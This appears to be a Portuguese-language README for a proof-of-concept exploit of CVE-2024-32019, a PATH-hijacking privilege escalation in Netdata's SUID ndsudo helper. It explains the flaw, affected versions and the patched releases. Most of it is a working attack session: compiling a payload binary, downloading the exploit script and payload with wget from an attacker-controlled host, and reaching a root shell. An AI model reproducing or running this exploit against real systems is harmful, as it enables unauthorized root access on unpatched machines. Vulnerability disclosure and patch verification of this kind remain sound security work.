t1erno/cve-2024-32019-netdata-ndsudo-privilege-escalation-pocProva de Conceito de Escalação de Privilégios do Netdata ndsudo
CVE-2024-32019 é uma falha local de escalação de privilégios no auxiliar SUID ndsudo do Netdata que permite a um usuário local executar programas arbitrários como root por meio de um caminho de pesquisa não confiável (sequestro de PATH).
O problema existe porque o ndsudo restringe os nomes de comandos, mas os resolve usando o PATH do chamador, permitindo que um usuário coloque um binário malicioso antes no PATH e faça o ndsudo executá-lo com privilégios de root.
Isso afeta o Netdata Agent nas versões ≥ v1.45.0 e < v1.45.3, e ≥ v1.44.0-60 e < v1.45.0-169, e possui uma pontuação CVSS v3.1 de 8.8 (Alta).
A mitigação é atualizar para v1.45.3 ou v1.45.0-169; a fraqueza corresponde a CWE-426 (Caminho de Pesquisa Não Confiável).
gcc -static payload.c -o nvme -Wall -Werror -Wpedantic
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/CVE-2024-32019.sh
--2025-09-10 23:49:01-- http://192.168.100.7:8000/CVE-2024-32019.sh
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 712 [application/x-sh]
Saving to: ‘CVE-2024-32019.sh’
CVE-2024-32019.sh 100%[==================================================>] 712 --.-KB/s in 0s
2025-09-10 23:49:01 (57.1 MB/s) - ‘CVE-2024-32019.sh’ saved [712/712]
test@ubuntu:/tmp$ wget http://192.168.100.7:8000/nvme
--2025-09-10 23:49:10-- http://192.168.100.7:8000/nvme
Connecting to 192.168.100.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 832552 (813K) [application/octet-stream]
Saving to: ‘nvme’
nvme 100%[==================================================>] 813.04K 1.98MB/s in 0.4s
2025-09-10 23:49:11 (1.98 MB/s) - ‘nvme’ saved [832552/832552]
test@ubuntu:/tmp$ sh CVE-2024-32019.sh
[+] ndsudo found at: /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
[+] File 'nvme' found in the current directory.
[+] Execution permissions granted to ./nvme
[+] Running ndsudo with modified PATH:
root@ubuntu:/tmp#